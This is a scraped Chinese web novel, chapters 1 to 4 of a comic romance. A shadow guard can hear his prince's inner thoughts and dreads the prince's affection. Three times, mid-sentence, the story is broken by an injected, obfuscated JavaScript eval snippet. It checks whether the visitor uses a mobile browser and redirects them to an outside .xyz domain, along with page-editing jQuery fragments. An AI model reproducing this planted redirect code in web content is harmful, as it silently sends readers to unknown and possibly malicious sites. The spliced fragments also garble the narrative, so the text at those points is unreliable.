《影卫誓死不从绿江play》 1. 第 1 章 秋风萧瑟,天气转凉,冷得蹲在房梁上的杨妃打了个寒颤。 夜色已深,处于工作时间的他本应该眼睛瞪得像铜铃、双眼暗藏精光地坚守岗位。 但现在,他的眼睛里是罕见的迷茫和空洞。 两息之前,今天还和过去数年里的每一天一样,是个再平常不过的一天。 以后这样的规律日子应该没有了。 今天就是他人生的分水岭,把他原本辅佐夺嫡、升职加薪、活着退休,目标清晰方向确定的人生规划变成了保住清白、守护□□、捍卫菊部地区安危,目标同样清晰但道路一片迷雾的贞操守卫计划。 该死的这到底是怎么回事?! 为什么在他的记忆里突然多出了那么多字字他都认识,组合起来却难以理解的奇怪文字? 啊啊啊—— 到底是何方神圣能想出那么多匪夷所思的情节、堪称诡异的人际关系、千奇百怪的上床诱因,以及……花样百出的僭越情节啊! 杨妃硬着头皮去看自己脑子里多出来的文字,试图将它们一一理顺,尽力找出来一些有用的东西,然后好统统塞进自己记忆的角落里,祈祷着能快点随着时间推移统统遗忘。 谁能懂他现在有多崩溃! 要不是情况不允许,他甚至想操着轻功全力出发直奔寺庙去烧香拜佛,抓个大师给自己看一看祛祛邪。 这种完全不符合常理的事情唯有中邪能解释一二了吧! 真该死啊…… 他的脑子……坏掉了。 杨妃的表情一言难尽,越梳理脑子里的那些内容越觉得难以接受。 他思来想去也想不通这世界上怎么有那么和主流相悖的断袖之爱话本子,而且全都是多影卫相关的断袖话本…… 王爷和影卫? 这比癞蛤蟆和天鹅是神仙眷侣还让他难以接受—— 尤其是那些影卫对主子上下其手、深入浅出的…… 这这这—— 杨妃在心里发出一声长长的叹息,他想要的有用信息是造成这一变故的始作俑者到底是什么东西,而不是见识到了王爷和影卫不得不说的二三事! 他一点也不想知道影卫是怎么给中了春药的王爷解毒的,也不想知道王爷是怎么哄失忆影卫的欢心的,更不想知道王爷和影卫逃避追兵假装夫妻到底是怎么假戏真做的! 海量的影卫文学把杨妃冲击的眼神茫然,视线不聚焦地落在房梁上,看着那一小块儿多年来被蹲守影卫们蹭的发亮的红漆,脑海中不由自主地联想到了那些话本子中被吊在这里……的影卫,还有那些挂在房梁上摩擦的红绸。 他立时便打了个冷颤,使劲揉了一下自己的手腕,将那种捆绑的幻痛覆盖下去,一种不妙的第六感叮当作响。 这些突然出现在脑子里的影卫断袖文…… 会不会就是传说中的上天启示,是来向他预示某些变化的? 如果是的话…… 嘶—— 杨妃瞳孔震颤,不由得干咽了一口唾沫,恐惧的情绪陡然升起来,心跳骤然加速。 王爷、影卫、性别男。 基本要素齐全。 他又抬手摸了摸自己的脸,悄悄扫了一眼自家主子的脸,心里更是一咯噔。 王爷英俊潇洒贵气逼人,怎么看怎么像那些影卫话本子里的主角王爷。 杨妃不安极了。 怎么偏偏他也五官周正呢? 要知道那些影卫画本子里和王爷纠缠不清的影卫们从倾国倾城到样貌普通可是都有的! 那些王爷们一点都不挑! 越想越觉得自己处境危险啊! 要是真的按小说里写的那样…… 他们两个的关系从主仆发展到床上好像也只差一个春药了! 不、也不一定。 除了春药,追杀、跳崖、惊马等等也皆有可能做这个关系的催化剂! 平日里的所有意外此刻在杨妃的视野里都是他的催命符。 心慌之间他拼了命地开始对比他家主子和话本子里的王爷的异同,好半天,提到嗓子眼的心放下去一半。 他家主子到底还是独一无二的,杨妃多少有些欣慰。 话本子到底是话本子,哪里能比得上他家王爷? 王爷在夺取皇位这件事上可是尽心尽力,不像那些小说里的皇子,每天都想着怎么和自家影卫拉近距离卿卿我我,夺嫡都只是他们恋爱故事里的一点小插曲,是推动他们感情进展的工具事件。 那些为了爱情抛弃江山隐居山林的更是一抓一大把,便是连他家王爷一根小手指头都比不上。 大概是他多虑了,杨妃眉宇间轻松了一些,王爷对政事的投入钻研在此刻给了他不少安全感。 他们不一样! 王爷不是恋爱脑!是皇帝脑! 杨妃心中轻哼了一声,将所谓的断袖之事定义无稽之谈。 他目光轻飘飘地瞟过躺在床上睡得板正规矩的王爷,落在他紧皱的眉头上。 他家主子今天睡觉似乎有点不安,像是在做梦一样,连呼吸都略有急促。 大概是因为今天和陛下大吵一架又被禁足在府里,心中不快吧。 杨妃垂下眼帘,想着白天发生的事情又开始忧愁。 虽说他一个影卫永远不该质疑他家主子的决定,但他也得承认今天这件事王爷相当莫名其妙了。 好端端的和陛下吵起来做什么? 不就是赐个婚吗? 早都到成婚的年龄了,赐个婚也是意料之中的事情,而且陛下选择的赐婚对象出自世家大族,京城之中素有贤名,怎么说也是个助力,他真是不懂自家主子为什么就发那么大的脾气,当时便和陛下翻了脸,惹得陛下勃然大怒。 还禁了足。 明明平常也没见主子接触哪家女眷,反正都没有中意的,直接顺水推舟不好吗? 何必被一直禁足到成婚呢。 不懂…… 等等? 杨妃揣度着主子的想法,才放下去的心瞬间又提了起来,惊疑不定地盯着床上的人,灵光一闪,有了个不妙的猜测。 难道他家主子真的是…… 虽然那些话本子里写的内容匪夷所思,但或许…… 他家主子也并非全然没有问题! 就像话本子里写的一样,搞不好他真的是个断袖! 而这或许恰恰能解释今天到底为什么因为一件赐婚的小事,就引得他家主子如此冲动暴怒。 杨妃梳理着自己的思路,觉得已经摸透了真相。 毕竟这种情况要么是他家主子身患隐疾,要么就真的像他脑子里多出的那些人一样好男色了。 再加之他对主子的身体状况心知肚明。 唯有他家主子不近女色才能解释一二了! 大事不妙! 危! 他危矣! 如果他家主子真的是断袖应了那些话本子里的情形,那岂不是说他家主子对影卫—— 嘶—— 身为影卫的杨妃眼前一黑,那些被他压下去的主仆情节在脑海里一一浮现,一字一句都被转化成了画面,还鬼使神差般地替换成了他和王爷的脸。 冲击力大到让他身影一晃。 那个用小拳拳捶他家王爷胸口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219616|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人到底是谁啊?! 那个月下举杯互许终身依偎到一起的两个人到底是谁啊? 救命! 有碍观瞻! 哪怕他家王爷长得也确实一表人才出类拔萃,但这也不代表杨妃能接受那种距离的社交啊! 就不能让他们两个维持和谐正常的主仆关系吗? 他觉得每次低着头看不见他家主子的脸挺好的。 总比主子伸手勾着他的下巴,拇指捻过他的唇角,深情款款目不转睛盯着他,嘴唇微动说着情话,好了不知多少倍! 真是要了老命了。 不中,这可不中! 杨妃甩了甩头,将逐渐变成口口的限制级画面甩出脑海。 他的人生目标可是辅佐主子顺利登上皇位、健康且健全地退休,而不是和主子双宿双飞恩恩爱爱! 他默默地将保护自己的菊部身体安危的重要性往前提了提,思考着要不要抽空去定制一副护甲。 他思考得越发深入,目光也从轻飘飘地瞟过主子,渐渐变成直勾勾地看着他,甚至没有注意到原本睡熟的主子睁开了眼,眼神恼怒。 王爷平躺在床上,目光像刀子般刮向房梁,本就不太好的心情更是雪上加霜,声音也不复平常般温和。 “滚下来!” 这一声怒喝将满脑子都在想主子性取向杨妃吓得浑身一颤,完全是本能地从房梁上跳了下去,丝滑地跪在主子床边。 “主子。” 杨妃的声音有些发紧,脑子还懵着,乖乖地跪着低着头,看着床面投下来的阴影紧绷着。 该死的,全都是那些话本子的错,要不是它们,他也不至于在守夜的时候分心,以至于连哪里惹了主子生气都不知道! 今天他也算是撞在了枪口上,只希望主子能消消气,别连同白天的事情一并算到他身上。 王府的鞭子好痛的! 和杨妃想的一样,王爷白天受了气梦里也没逃得了,加上又被他直勾勾的眼神吵醒,这会儿气得只恨手边没有什么茶盏的可供他摔,只能恨恨地瞪着影卫黑漆漆的脑瓜顶,看着他用来束发的粉色发带,才稍稍冷静下来。 王爷捏了捏自己的眉心,强行把怒火憋回去让他有些疲惫,但要是真的惩罚他又有点舍不得。 【舍不得啊……】 “你——” “罢了,滚上去吧。” “是。” 杨妃赶忙应了一声,利索地提身而起,重新回到自己的岗位上,脑袋却更混乱了。 刚才是不是有哪里不对? 他怎么好像听到了一些奇怪的东西? 他压抑着自己想抠耳朵的冲动,强忍着一动不动,聆听着底下王爷的动静。 “唉。” 这是王爷叹了口气。 “悉悉索索。” 这是王爷翻了个身重新盖了被子。 “唰唰。” 这是王爷烦躁地抓了抓头发。 杨妃的心就随着底下接连不断的声音七上八下,不过好在他再也没有听到像刚才那种“舍不得”的不合理话语,整个人情绪还算稳定。 应该是他今天受到的冲击太大导致的幻听,等他下了值好好睡一觉就好了。 杨妃静静地听着主子的呼吸,等着他重新入睡,却没有想到静谧的房内又响起了主子的声音。 【若非今日犯事之人是他,本王实在不忍责备,否则何至于忍着火气辗转反侧难以入睡?】 【他到底什么时候能懂得本王的心意?】 【莫不是本王表达的太过含蓄?】 【看来是时候明显一点了……】 2. 第 2 章 ??? 这几句话接连出现清晰无比,杨妃敢以自己的项上人头做保,他绝对没有听错主子的声音。 也没有看错。 在王爷声音响起的一瞬间,他一个激灵眼睛瞪得溜圆,目光瞬间锁定在他家主子那张一动不动的嘴唇上,瞳孔震颤。 嘴没动,那这声音是哪来的? 杨妃迷茫极了,脑子却是前所未有的灵活,一个荒唐的念头在他心中升起。 这莫非就是心声? 在今天之前,就算碰到再离谱的事他都不会想到这种完全不正常的猜测。 但今天不一样,各式各样的话本子将他洗礼,三观都被重塑了个遍,连男人生子他都看了不止一篇,区区一个心声,不足为奇。 只要他和他家王爷都不具备生子的功能就好。 杨妃心情复杂,话本子里匪夷所思的事情就这样发生了,对他来说这就像是敲响了警钟,预示着他和王爷之间主仆关系即将变质。 那些心声的内容也证实了这一点。 他一时间竟不知道到底是自己能听见主子的心声这件事离谱,还是他家主子在心里想着如何向他表明心意更加离谱。 主子,能不能请你解释一下什么叫做懂得心意、什么叫做表达过于含蓄? 什么时候表达了、在哪儿表达的、怎么表达的? 他真的很想知道!这很重要! 杨妃的天就这样随着几句轻飘飘的话塌了个彻底,他抿着唇浑身紧绷,肌肉都忍不住颤抖,余光飘着床上辗转反侧的主人,拼命地在脑子里找寻之前相处的点点滴滴,试图找到哪里超出了正常主仆距离。 他还没有对主仆关系做出改变的意思,很有必要吸取一下王爷的失败经验,务必得把“心意”找全了,并在以后严防死守,不给他家主子一点机会! 躺在床上再也睡不着的王爷并不知道杨妃心里想的是怎样和他在情感上划分界限,他正在每日三省己身。 今天向影卫传达爱意了吗? 今天和影卫说话了吗? 今天摸到影卫的小手了吗? 【没有、通通没有。】 王爷的心声听上去甚至有些沮丧。 【简直一败涂地、毫无建树!】 王爷越想越恼怒,在床上猛地翻了个身,重重地叹了口气。 【过了这么长的时间,竟然一点进展都没有,我到底是哪里做错了?】 【为什么一番努力下来竟然毫无改变?】 【怎会如此?!】 【这么多年我竟然除了改变他的名字之外没有一点成果!】 【虽然每次叫起他的名字心中也甜甜的……】 名字? 杨妃全神贯注地听着,眨了眨眼,非常疑惑。 名字和心意到底有什么关系? 赐名这种事不是很正常、很平常吗? 这王府里主子贴身伺候的仆人不也是主子赐名的? 虽然他现在用的名字确实是王爷所赠,但这也不是他一个人独有的,而是所有影卫都有的啊。 这怎么就是心意了? 杨妃蹙着眉,有点怀疑是不是当年赐名的时候有些细节被他忽略了。 他还记得当年赐名的时候王爷才变声,声音沙哑的很,语气里也满是嫌弃。 他们整齐地跪坐一排,低着头看不见王爷的表情,只听着他说他们的名字以天干地支来命名太过简单,叫上去也拗口,不容置疑地挨个指着他们全都换了名字,改用颜色的雅称,还发了发带系在头发上用以区分。 整个过程自然的很,杨妃仔细回忆,连那天地砖上的花纹都记忆犹新,唯独想不起来哪里是王爷的心意。 他忽然觉得他和王爷之间有些代沟,不由得自我怀疑起来,区区八岁差这么多吗? 他不理解,王爷却越想越抓狂。 【那时候我见他唇色粉粉的,便给他起了杨妃这个名字,一来正合他的颜色,二来也饱含期许。】 【我暗示的还不够明显吗?妃、妃啊!】 ??? 杨妃对他家主子的暗示无动于衷,甚至还有点想笑。 主子啊,你自己听听你那牵强的暗示合理吗? 他就算是肚子里的蛔虫也想不到吧? 而且…… 他家主子竟然已经暗戳戳地看上他这么久了吗? 真不愧是皇室子弟,早熟是他们的特色。 但这也太早了吧? 那会儿他才刚到主子身边不久,平常的接触也不多,怎么就看上他了? 杨妃沉思了一会儿,下意识摸了下自己有点干巴的嘴唇,神情严肃。 就因为唇色? 这点改起来不难,他下回出王府的时候买点口脂,给它涂成老太太的大红色,有多红涂多红,保证不让他家主子再看见一点原色。 他的清白守卫计划才有了第一条可实施方案,王爷的反思已经如脱缰的野马,拐向了更多他没有注意过的地方,让他头一次意识到王爷的思维有多活跃。 比如那些投其所好。 【杨妃最喜欢攒钱,我就想方设法地给他送钱。】 【母妃说爱一个人就要把方方面面都替他考虑周到,为了不将这件事做得太过显眼,让他在同僚之中不好做,我甚至还贴心地把给钱这件事冠上了一个合理的理由。】 【天知道那些任务我到底是怎么绞尽脑汁才想出来的!】 【哎。】 【也不知道他收到了我的心意没……】 【也没见他笑一笑。】 【但从他每天照旧留给我一个脑瓜顶的状态来看,他应当是没有接收到的……】 【可恶啊!到底怎么做才行?】 【不如哪天再进宫给母妃请安吧,好学学她是怎么吸引父皇的……】 王爷心下打定了主意,决定将这件事放在他的待办日程上,眉头也略微舒展了些。 房梁上的杨妃也是。 他现在整个人不仅不皱眉了,脸上甚至连一点表情都没有了,心情十分复杂,还带着一丝淡淡的了悟和嫌弃。 原来如此…… 今天也算是让他知道了那段时间王爷到底抽什么风了! 杨妃心中有些庆幸,还好王爷见这一招没有达成自己想要的目的,只坚持了半个月就果断放弃,不然他现在多半也没有命蹲在房梁上给他家主子守夜了。 他早就猝死在那会儿了! 他是喜欢攒钱,但更希望自己有命花钱! 谁家好人为了给别人送钱,一天接连安排数不清的小任务,让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219617|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从城东跑到城西,又从城南跑到城北,来来来回回往返不知道多少趟王府。 不仅如此,那段时间王爷但凡有什么事都指明交给他干,搞得原本三班倒的影卫工作让他干成了十二时辰工作制,一天下来他连吃顿饭的功夫都没有,只能在轻功赶路的时候抽空吃两口硬的能噎死人的饼子,一天下来睡不足一个时辰。 他简直是把内力当作仙气儿撑着,才没有晕倒在路上。 杨妃的拳头攥的梆硬,脸上竟然露出个冷笑。 只有一点和王爷预想的一样。 他这样搞下来确实没有让他因为多得了些钱财而遭到同僚的不满。 反而收获了不少同情。 杨妃越想当时的场景越觉得怒火中烧。 那段时间,他忙得脚不沾地,同僚们看他的眼神也都面带惋惜,甚至有两个关系不错的同伴连丧事的料子都替他买好了,只等他一口气喘不上来被丢出王府之后悄悄地把他葬了。 说起来他还得多谢王爷呢…… 这一波投其所好下来他不仅得到了不少钱财,还和同僚之间关系更加紧密了呢,简直物超所值。 他永远忘不了那些暗戳戳地问他到底哪里惹了王爷生气想要收获前车之鉴的同僚们。 天知道他那段时间有多忐忑! 结果今天真相大白,那糟的一番罪原来只是因为王爷想投其所好给他送钱。 杨妃抿了抿嘴,只觉前途一片灰暗,和主子维持正常主仆关系的决心更加坚定。 被主子爱上只会带来不幸。 要是不尽快歇了王爷的心思,由着他这么折腾下去,他都不知道自己的命够不够硬! 要知道,他们两个当前的关系还只维持在众多话本子里的第一步,这要是以后…… 他不敢想他家主子再在此道上钻研一段时间,能给他想出什么好点子来! 妥妥地是在消耗他的命尝试啊。 必须制止! 杨妃只觉得自己人生目标更加清晰,他在床上的王爷却越想越迷惑,心声也带了两分委屈,被子下的手指摩挲了一下,像是在回忆。 【他到底还有没有心?】 【人人都说日久生情,怎么偏他不一样?】 【上一次摸到他的手都是几个月前了,久的像上一辈子。】 【这么长时间,我竟然没有找到一点机会再摸一次!】 【每一次见他也都离我老远,连头都不抬,我都要数清他头顶有多少根头发了!】 【就不能抬头看看我、离我近一点吗?】 不能。 杨妃默默地反驳,并且发誓以后还会离得更远。 为了主子的眼神着想,他下次直接就出现在阴影里,免的王爷继续数他头发有多少根。 不仅如此,在这一刻杨妃已经打定了主意,以后再有这种需要出现在主子面前的工作,统统都交给同僚。 就让他去做那些又苦又累的外勤,一去二三载、常年不回来! 杨妃心中已经将王府所有的外勤任务过了一遍,连换班的同僚都想好了,恨不得现在就从王府上原地消失,却忽然一愣,有些犹豫。 要是他真的领了外勤任务出去几年…… 怎么听上去有点像话本子里的他逃他追、他插翅难飞呢?! 3. 第 3 章 不中啊! 锁链、笼子、替身、通缉令在他眼前闪过。 杨妃心中警铃大响,将刚才拟好的外勤计划瞬间推翻,同时把那些诸如“给本王查!追到天涯海角也得查!”的发怒王爷以及“逃吧……最好别让本王抓到,否则从今以后你再也逃不了了……”摆弄锁链的黑化王爷甩出自己的脑海。 他打了个冷颤,心有余悸。 还好他反应快,不然就落入话本子里的经典情节了。 他这一逃不仅不能拉开距离,还有极大可能刺激到王爷,导致他们两个之间的关系飞速发展,跳过中间的恋爱情节,直达小黑屋。 那不完了吗? 所以对他来说,既要和王爷拉开距离,又不能拉的太远,中间的度还得他仔细思量。 最佳距离大概就是他人虽在王府,但主子却天天看不见他。 想想都难办。 杨妃忧从中来,听着底下王爷的话,又觉得事情紧迫,愁上加愁。 【当时他从天而降,身姿挺拔,一套动作行云流水,杀敌的姿势好看极了。】 【不愧是我的人。】 【要不是他贴身相护,我说不定那会就死了。】 【只是那些贼人实在可恶,明着打不过竟然还放暗箭伤了他。】 王爷越想越气,连呼吸都粗重了两分,杨妃对他的想法持不同意见。 他非常想对着主子的耳朵大声纠正,那会儿从天而降的可不止他一个,他杀的敌人甚至都不是最多的一个。 身为主子,他能不能将目光平等地放在所有人身上,让工作回归工作本质。 不要只盯着他看了啊—— 也不要再想着他的手了! 【那些该死的家伙在他手上划了那么长的一道……】 并没有,只有拇指长。 【流了那么多的血。】 并没有,很快就能结痂了。 【险些留了疤痕。】 并没有!如果不是他家主子非要给他上药的话,他甚至能好得更快! 杨妃听着被子下摩挲的声音,脊背绷直浑身僵硬,手背上青筋凸起,心里尖叫,一一反驳他家主子的回忆,只恨王爷听不见他的心声。 啊啊啊啊啊! 那都是去年的事情了,足足有一年了,他怎么还记着这事儿呢? 杨妃麻木地听着他家主子发表对他手部触感的体验,只觉得自己的手已经不能要了。 倒不是他嫌弃自家主子,而是他觉得他家主子嘴里形容的那只手根本不是他的。 纯臆想! 什么叫做皮肤光滑白皙?! 杨妃抬起手,看着自己风吹日晒舞刀弄枪的手,虽然没有到黝黑斑驳的程度,但也不至于是白皙吧? 就是很正常的健康肤色啊! 他实在忍不住搓了搓自己的手背,完全想不起来去年的时候自己是什么样子。 他和主子真的生活在一个世界里吗? 怎么感觉两个人看见的不一样? 王爷可不知道杨妃在想些什么,他沉浸在自己的思维里,还越想越起劲,让杨妃非常想直接跳下去堵住他家主子的嘴。 【已经这么久了,要是不再摸一摸我都要忘记什么感觉了。】 【但我上哪去找理由呢?】 【总不能直接跟他说“手拿来,我摸摸”吧?】 【倒显得我像是纨绔子弟了……】 王爷沉思着,杨妃被这话惊的差点直接从房梁上滚下去。 啊啊啊啊! 千万忍住啊主子!把那句话永远的藏在心里! 杨妃实在不敢想他家主子万一哪天忍不住真说了出来,而他又不得不听从命令的时候,自己的表情是什么样的。 虽然主子你威严伟岸的形象已经被心声消磨的差不多了,但至少其他人听不到,表面上还得装一装啊! 【上一次是因为他受了伤,我能打着宽厚待下的旗帜明目张胆地上手,就这还得借着上药才能摸到。】 【那下次……】 【要不要我暗中透露自己的行踪给四弟,引诱他派刺客动手?】 【不行,风险太大了。】 【那蠢材总欲杀我而后快,下起手来没轻没重的,万一假戏真做我可就哭死了。】 【难办。】 【而且一想到要伤了他,我心里还舍不得……】 够了真的是够了! 绝对不会有第二次! 求求他家王爷不要再想着上药的事情了,他都不想讲—— 当年他手背上也不过是被流矢蹭了一下,一条拇指长的伤痕,虽然出了血但也不是太深,照理来说上过药后几天应该就好了。 但是架不住他家主子的关心来的莫名其妙,硬是拉着他的手要给他上药。 杨妃当时也没法拒绝,也只能任由王爷施为。 但他家王爷是什么人啊? 那可是金尊玉贵十指不沾阳春水的天皇贵胄,这种上药的活他哪干过? 整个上药流程下来除了用的药对之外再没有一样是对的。 那涂的老厚的药膏杨妃就不说什么了,关键是他家主子上药的手法,那手指没个准头,一下下地蹭着他的伤口,缠绕的绷带也绑得过厚。 要不是他之后悄悄重新处理了一下,伤口非得捂得溃烂不可。 讲真的,杨妃当时没有感受到一点来自主子的关怀,更没有感觉到主子自己心中所想的那种暧昧氛围。 他当时用诚惶诚恐来形容也不为过。 真见鬼了! 也就是说他无比忐忑,满脑子想的都是主子是不是觉得他护卫不力,对面前出现的刺客不满,借由上药的事情敲打警告他的时候,他家主子想的是自己终于摸到了手? 杨妃闭上眼,听着他家主子在心中的大胆发言,非常想和他说放弃吧。 只要王爷放弃了用自己的想法撩拨他,他还能再多活几年。 这样的追求他真的有点受不了啊! 求求你了,不要再开放思维了,把有限的精力用到无限的夺嫡斗争当中吧…… 曾经,杨妃对他家主子这种锲而不舍的精神无比赞赏,但现在,他很想对主子说——知难而退也是种勇气! 【对了,影卫们虽然平常面无表情的,但只要伪装起来表情还是很丰富的……】 【如此想来,见他一笑或许更简单些。】 【只是让他扮成什么,又用什么由头,这却得好好思量一番了。】 ??? 你在说什么啊,主子? 影卫的职业技能不是这样用的啊! 杨妃被主子的心声轰炸了半天,指尖都被震惊的微微颤抖,心跳一会快一会慢。 他抬起头看着屋顶,衡量着利弊沉思半晌终于下定决心。 为了他自己的心脏健康以及王爷身体健康着想,是时候让他家王爷睡觉了。 干脆给他一针好了,这样胡思乱想的怎么睡得着? 就算被禁足了不用早起上朝,也不能让他家主子顶着两个黑眼圈在王府里转悠吧? 维护王爷的形象也是影卫的职责之一! 身为主子手下最得力的影卫,杨妃当然要面面俱到,为主子着想。 他勾起唇角,悄无声息地捏了根迷针在手中,以下犯上的心蠢蠢欲动,针尖不着痕迹地对准了主子裸露出来的肩颈。 这一针下去,他保证主子收获好睡眠,睡到日上三竿都醒不来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219618|181453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 以他的水平这样大逆不道的行为被发现的概率约等于零,就算被发现了,以他家主子目前对他的觊觎来看,应该也不至于直接弄死他。 杨妃衡量了利弊蓄势待发,恰在此时他那个心理活动极其活跃的主子突然开口叫了他名字,惊得他一身冷汗,迷针险些脱手。 不至于吧,他就想干这么一次坏事,还被逮个现行? 杨妃眼前一黑,这回倒是开始期待他家主子非他不可了,但凡缺一点爱都保不下他这条小命啊! 不过好在天无绝人之路,王爷并没有发现他的小动作。 【光顾着想着怎么得偿所愿了,险些误了正事。】 正事? 杨妃听着这心声,做坏事险些被抓个正着的心慌瞬间就消失了,整个人眨眼之间就从房梁上飞了下去,迅速跪在房间的阴影中,只留下一点衣摆给主子看。 一个简单的“是”字都让他说出了浓浓的期待和解脱感。 太棒了! 一切终于回归正轨,他家主子终于不再想那些情情爱爱,而是开始搞事业了—— “杨妃。” 王爷的声音中带着两份肃杀之气,心声也是一样的冷冽。 【险些忘了那该死的结婚对象。】 【本王绝对不能允许其他人插足我们的感情!】 ??? 杨妃原本激动的心情瞬间就被他家主子泼了一桶凉水。 他现在很冷静。 杨妃低着头看着地面,沉默地听着心声里王爷表达对这桩婚事的不满,听着他三句话不理自己只觉得两眼一黑。 请不要拿他做拒婚借口! 这要是让陛下知道了王爷这么多年来不近女色是因为对自己的影卫来了情趣,那他就得被拖出去五马分尸了! 杨妃低垂下眼帘,眼中闪过一丝恼怒,他到底做点什么能让主子放弃对他下手,好好地迎娶王妃? 主子到底什么时候再来投他所好? 他不知道上回王爷从哪打听到的他喜欢攒钱,但如果有下一回的话,他一定会绞尽脑汁让王爷知道他的爱好就是辅助他夺嫡! 下回再投他所好请往这方面努力—— 这一对主仆现在是如同一辙的心中郁结,王爷在床上坐着,目光定定地看向几乎和阴影融为一体的杨妃。 【应该让他再靠过来一点……】 【离的那么远做什么?】 【真应该给他们换一套衣服。】 王爷伸手揉了揉额角,想到当前真正迫在眉睫的事,才压下了那些念头。 “即刻去大理寺卿的家,事无巨细,给本王查个底朝天。” 【既然父皇不肯取消这门婚事,一意孤行。】 【那就只能让这个结婚对象踏不进王府的门了。】 【圣旨已下,若是动了杀手恐过不了父王那关。】 【但若是大理寺卿府上犯下满门抄斩的大罪……】 【一个罪臣之女怎么能进王府的门!】 真有你的啊,主子! 杨妃听着他家主子的心声,差点没忍住疑惑地出声,只低着头眉头紧皱,干脆利落地道了一声是,逃也似地溜出了房间,才松了口气。 太可怕了,也更严重了。 他实在没想到王爷为了退婚能如此竭尽手段。 这种赐婚之后想办法调查妻子的母家,还务必要找出些罪证将人家拖下马的女婿,杨妃还是头一回听说。 哎。 这可怎么办是好啊…… 尤其是他家王爷弄了这么一出还是因为他! 简直滑天下之大稽。 若是婚约能顺利进行,说不定他家王爷还能回心转意,但若是遂了他的愿…… 4. 第 4 章 杨妃的心拔凉拔凉的,杵在门口,难得有些想拖延任务进展。 他顶着树上同僚疑惑又警惕的目光发呆片刻,才冲着朱柿打了个手势让他进屋守着,自己则悻悻地回了影卫们的小院,换上了一身标准款的夜行衣,戴着面具出门了。 他熟练地避开巡夜的官员,操着轻功悄无声息地行走在阴影处,速度是罕见的磨蹭。 王府虽然不挨着大理寺卿府,但同在京城也远不到哪里去,杨妃尽力拉长这段路程的时间,企图找出一种能保下大理寺卿的方法。 这太难了。 他用自己多年盯梢京中官员的工作经验发誓,这京里的官没有一个干净清白的,按他的标准具体可以分成三类。 诛九族的、满门抄斩的、斩立决的。 反正是没能有囫囵个退休的。 虽然还不知道大理寺卿属于哪一类,但对他家主子的目的来讲,哪一类都够这门婚事泡汤得了。 多可惜啊! 杨妃唉声叹气,这可是陛下赐婚,又是和京中颇有盛名的女娘结亲,他可是听说过那女娘才貌双全,性格温婉和顺,要是王爷真的能和她结成夫妻体验一下什么叫做闺房之乐,说不定就能将他抛之脑后了。 他一个硬邦邦的男人,哪里比得上女儿家? 多好的机会啊,只可惜他家王爷反抗陛下不成,竟出了这样一个损招,宁可除去大理寺卿也要悔婚。 要是陛下能给王爷和其他皇子们赐婚就好了,这样王爷应该能全神贯注地解决他了吧。 这怎么不是一种新的夺嫡方式呢? 他破罐子破摔地胡思乱想,对成亲这件事已经没有了期待,王爷越抗拒,他的清白越堪忧。 他到底拿什么才能捂住自己的屁股? 杨妃穷尽思绪也没能再到大理寺卿府前想出来制止王爷的法子。 天娘嘞!他只是一个服从命令的影卫,他除了完成任务还能干什么—— 总不能让他给大理寺卿那些违法乱纪的事情扫尾吧? 他虽然想不择手段保住自己的清白,但还没有叛主的打算。 为今之计他能做的竟然只有祈祷大理寺卿清廉公正、遵纪守法。 想也知道那和天方夜谭没什么区别。 哪怕只放下斩立决的罪过也行啊…… 这样若是陛下执意让王爷结婚,说不定能睁一只眼闭一只眼的算了,毕竟陛下心知肚明,这满京城都没有一个完全遵纪守法的。 杨妃看着大理寺卿门口亮着的灯笼深吸了一口气,将脸上的面具系牢,足尖一点轻松越过了高墙。 他是个调查官员罪证的熟练工,这些当官的总是大同小异,大到来路不明的赃款、暗中通信的信件、花样百出的密室、小到藏在府外的外室和外室子,没有一样能逃得过他的调查。 区别也不过是消耗的时间长短罢了。 区区一个大理寺卿府,在这京中的官员里都算不上第一梯队,杨妃自信以他的经验,用不了多久就能将他翻个底朝天,然后带着他的罪证回去复命,最后遂了他主子的意悔婚。 哎。 尽管这样的结果不是他希望看见的,但谁让他是主子身下……不,是手下最得力的呢? 自砸招牌的事他可不会去做。 翻过了院墙,他反倒想明白了,这桩婚事能不能成有什么打紧的呢? 哪怕没有这个大理寺卿府上的女娘,也会有下一个。 这京中的名门贵女数量众多,有才有貌的不在少数,他家主子贵为当朝皇子,怎么可能府上一直没有女主人? 他就没听说过哪朝哪代的皇子王爷孤独终老的。 自有陛下为他家主子打算,实在犯不上他为主子的人生大事操心,他只需要耐心点,和主子保持着安全距离等待下一位赐婚对象。 总有一个能顺利嫁到王府! 说不定将陛下逼急了还会将主子直接绑到新房去。 杨妃忍不住上挑嘴角,心想陛下一定能和那些话本子里的皇上共情,保不齐他真能看见这种小说情节成真呢。 